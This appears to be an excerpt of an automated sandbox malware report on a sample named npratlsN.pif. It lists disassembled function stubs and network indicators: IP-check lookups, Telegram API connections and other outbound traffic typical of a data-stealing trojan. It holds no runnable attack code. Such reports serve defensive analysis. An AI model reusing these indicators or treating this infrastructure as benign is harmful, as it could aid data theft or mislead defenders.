              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F6968FDh10_2_2F6965C0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F69E0CEh10_2_2F69DE00
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F697DC0h10_2_2F697AF0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F692151h10_2_2F691EA8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F69701Ah10_2_2F696F69
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F696411h10_2_2F696168
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F69FC2Eh10_2_2F69F960
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F69701Ah10_2_2F696F70
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F694019h10_2_2F693D70
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F69DC3Eh10_2_2F69D970
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F690FF1h10_2_2F690D48
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F69AA0Eh10_2_2F69A740
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F69E9EEh10_2_2F69E720
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F69C9FEh10_2_2F69C730
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F693BC1h10_2_2F693918
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F695FB9h10_2_2F695D10
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F6918A1h10_2_2F6915F8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F694471h10_2_2F6941C8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F69CE8Eh10_2_2F69CBC0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F69AE9Eh10_2_2F69ABD0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F691449h10_2_2F6911A0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F69EE7Eh10_2_2F69EBB0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then mov esp, ebp10_2_2F699B8A
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F69BC4Eh10_2_2F69B980
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F693311h10_2_2F693068
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F69B32Eh10_2_2F69B060
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F695709h10_2_2F695460
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F694D21h10_2_2F694A78
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F69F30Eh10_2_2F69F040
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F6902E9h10_2_2F690040
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F691CF9h10_2_2F691A50
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F69D31Eh10_2_2F69D050
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F6948C9h10_2_2F694620
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F69C0DEh10_2_2F69BE10
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F69D7AEh10_2_2F69D4E0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F690B99h10_2_2F6908F0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F69B7BEh10_2_2F69B4F0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F693769h10_2_2F6934C0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F69517Bh10_2_2F694ED0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F69F79Eh10_2_2F69F4D0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F69C56Eh10_2_2F69C2A0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F695B61h10_2_2F6958B8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F69A57Eh10_2_2F69A2B0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F690741h10_2_2F690498
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F69E55Eh10_2_2F69E290
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F705730h10_2_2F705438
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F70E6A0h10_2_2F70E3A8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F70EB68h10_2_2F70E870
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F704746h10_2_2F704478
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F707D70h10_2_2F707A78
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F700C07h10_2_2F700960
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F709558h10_2_2F709260
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F701E36h10_2_2F701B68
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F70C060h10_2_2F70BD68
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F70D848h10_2_2F70D550
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F703E26h10_2_2F703B58
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F706A50h10_2_2F706758
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F70030Eh10_2_2F700040
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F708238h10_2_2F707F40
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F701516h10_2_2F701248
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F70AD40h10_2_2F70AA48
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F70C528h10_2_2F70C230
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F703506h10_2_2F703238
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F70F030h10_2_2F70ED38
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F706F18h10_2_2F706C20
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F709A20h10_2_2F709728
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F70B208h10_2_2F70AF10
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F702BE6h10_2_2F702918
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F70DD10h10_2_2F70DA18
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F705BF8h10_2_2F705900
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F70F4F9h10_2_2F70F200
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F704BD6h10_2_2F704908
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F708700h10_2_2F708408
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F709EE8h10_2_2F709BF0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F7022C6h10_2_2F701FF8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F70C9F0h10_2_2F70C6F8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F70E1D8h10_2_2F70DEE0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F7042B6h10_2_2F703FE8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F7073E0h10_2_2F7070E8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F70079Eh10_2_2F7004D0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F708BC8h10_2_2F7088D0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F7019A6h10_2_2F7016D8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F70B6D0h10_2_2F70B3D8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F70CEB8h10_2_2F70CBC0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F703997h10_2_2F7036C8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F7060C0h10_2_2F705DC8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F70F9C0h10_2_2F70F6C8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F7078A8h10_2_2F7075B0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F701086h10_2_2F700DB8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F70A3B0h10_2_2F70A0B8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F70BB98h10_2_2F70B8A0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F703076h10_2_2F702DA8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F706588h10_2_2F706290
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F705107h10_2_2F704D98
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F709090h10_2_2F708D98
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F70A878h10_2_2F70A580
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F702756h10_2_2F702488
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F70D380h10_2_2F70D088
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F741190h10_2_2F740E98
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F740800h10_2_2F740508
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F740CC8h10_2_2F7409D0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2F740338h10_2_2F740040
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then lea esp, dword ptr [ebp-04h]10_2_2F760040
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then lea esp, dword ptr [ebp-04h]10_2_2F760037
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then lea esp, dword ptr [ebp-04h]10_2_2F760031
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then mov ecx, dword ptr [ebp-38h]10_2_2FE24C9C
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then mov ecx, dword ptr [ebp-38h]10_2_2FE27AC0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then mov ecx, dword ptr [ebp-38h]10_2_2FE27A91
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then mov dword ptr [ebp-20h], 00000000h14_2_212EDD08
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2441F2B5h14_2_2441F0C9
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2441FC3Fh14_2_2441F0C9
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then mov dword ptr [ebp-14h], 00000000h14_2_2441E5E8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2441E0C5h14_2_2441E114
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2441E0C5h14_2_2441DF07
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255DB829h14_2_255DB580
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255D185Dh14_2_255D1440
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255D10E9h14_2_255D0E38
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255DE7F1h14_2_255DE548
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255DBC81h14_2_255DB9D8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255DF0A1h14_2_255DEDF8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255DEC49h14_2_255DE9A0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255DDAE9h14_2_255DD840
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255D185Dh14_2_255D1431
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255DE399h14_2_255DE0F0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255DDF41h14_2_255DDC98
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255DFDA9h14_2_255DFB00
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255DCDE1h14_2_255DCB38
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255DD691h14_2_255DD3E8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255DD239h14_2_255DCF90
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255D185Dh14_2_255D178B
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255DF4F9h14_2_255DF250
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255DC0D9h14_2_255DBE30
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255DC989h14_2_255DC6E0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255DC531h14_2_255DC288
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255DF951h14_2_255DF6A8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255E3BC1h14_2_255E3918
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255E68FDh14_2_255E65C0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255E7DC0h14_2_255E7AF0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255EA57Eh14_2_255EA2B0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255E0FF1h14_2_255E0D48
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255EAA0Eh14_2_255EA740
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255E701Ah14_2_255E6F70
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255E4019h14_2_255E3D70
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255EDC3Eh14_2_255ED970
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255E6411h14_2_255E6168
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255E701Ah14_2_255E6F69
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255EFC2Eh14_2_255EF960
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255E5FB9h14_2_255E5D10
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255EC9FEh14_2_255EC730
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255EE9EEh14_2_255EE720
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255EAE9Eh14_2_255EABD0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255E4471h14_2_255E41C8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255ECE8Eh14_2_255ECBC0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255E18A1h14_2_255E15F8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then mov esp, ebp14_2_255E9B88
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255EBC4Eh14_2_255EB980
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255EEE7Eh14_2_255EEBB0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255E1449h14_2_255E11A0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255E1CF9h14_2_255E1A50
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255ED31Eh14_2_255ED050
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255EF30Eh14_2_255EF040
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255E02E9h14_2_255E0040
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255E4D21h14_2_255E4A78
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255E3311h14_2_255E3068
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255EB32Eh14_2_255EB060
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255E5709h14_2_255E5460
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255EC0DEh14_2_255EBE10
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255EE0CEh14_2_255EDE00
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255E48C9h14_2_255E4620
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255E517Bh14_2_255E4ED0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255EF79Eh14_2_255EF4D0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255E3769h14_2_255E34C0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255E0B99h14_2_255E08F0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255EB7BEh14_2_255EB4F0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255ED7AEh14_2_255ED4E0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255E0741h14_2_255E0498
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255EE55Eh14_2_255EE290
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255E5B61h14_2_255E58B8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255E2151h14_2_255E1EA8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 255EC56Eh14_2_255EC2A0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 25655730h14_2_25655438
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2565CEB8h14_2_2565CBC0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 25650C07h14_2_25650960
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 25659558h14_2_25659260
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 25651E36h14_2_25651B68
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2565C060h14_2_2565BD68
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2565EB68h14_2_2565E870
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 25654746h14_2_25654478
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 25657D70h14_2_25657A78
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2565030Eh14_2_25650040
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 25658238h14_2_25657F40
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 25651516h14_2_25651248
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2565AD40h14_2_2565AA48
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2565D848h14_2_2565D550
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 25653E26h14_2_25653B58
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 25656A50h14_2_25656758
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 25656F18h14_2_25656C20
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 25659A20h14_2_25659728
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2565C528h14_2_2565C230
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 25653506h14_2_25653238
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2565F030h14_2_2565ED38
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 25655BF8h14_2_25655900
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2565F4F9h14_2_2565F200
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 25654BD6h14_2_25654908
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 25658700h14_2_25658408
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2565B208h14_2_2565AF10
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 25652BE6h14_2_25652918
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2565DD10h14_2_2565DA18
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2565E1D8h14_2_2565DEE0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 256542B6h14_2_25653FE8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 256573E0h14_2_256570E8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 25659EE8h14_2_25659BF0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 256522C6h14_2_25651FF8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2565C9F0h14_2_2565C6F8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 25653997h14_2_256536C8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 256560C0h14_2_25655DC8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2565F9C0h14_2_2565F6C8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2565079Eh14_2_256504D0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 25658BC8h14_2_256588D0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 256519A6h14_2_256516D8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2565B6D0h14_2_2565B3D8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2565BB98h14_2_2565B8A0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 25653076h14_2_25652DA8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2565E6A0h14_2_2565E3A8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 256578A8h14_2_256575B0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 25651086h14_2_25650DB8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2565A3B0h14_2_2565A0B8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2565A878h14_2_2565A580
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 25652756h14_2_25652488
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 2565D380h14_2_2565D088
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 25656588h14_2_25656290
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 25655107h14_2_25654D98
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 25659090h14_2_25658D98
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 25691190h14_2_25690E98
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 25690800h14_2_25690508
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 25690CC8h14_2_256909D0
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then jmp 25690338h14_2_25690040
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then lea esp, dword ptr [ebp-04h]14_2_256B0040
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then lea esp, dword ptr [ebp-04h]14_2_256B0006
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then mov ecx, dword ptr [ebp-38h]14_2_25D74C9C
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 4x nop then mov ecx, dword ptr [ebp-38h]14_2_25D77AC0
              Source: global trafficDNS query: name: amazonenviro.com
              Source: global trafficDNS query: name: checkip.dyndns.org
              Source: global trafficDNS query: name: reallyfreegeoip.org
              Source: global trafficDNS query: name: api.telegram.org
              Source: global trafficDNS query: name: mail.irco.com.sa
              Source: global trafficTCP traffic: 192.168.2.4:49742 -> 166.62.27.188:443
              Source: global trafficTCP traffic: 192.168.2.4:49757 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:49758 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52744 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52746 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52748 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52750 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52752 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52755 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52756 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52758 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52759 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52761 -> 149.154.167.220:443
              Source: global trafficTCP traffic: 192.168.2.4:52762 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52764 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52766 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52769 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52772 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52771 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52775 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52776 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52779 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52780 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52782 -> 149.154.167.220:443
              Source: global trafficTCP traffic: 192.168.2.4:52783 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52785 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52787 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52790 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52792 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52795 -> 104.21.16.1:443
              Source: global trafficTCP traffic: 192.168.2.4:52796 -> 149.154.167.220:443
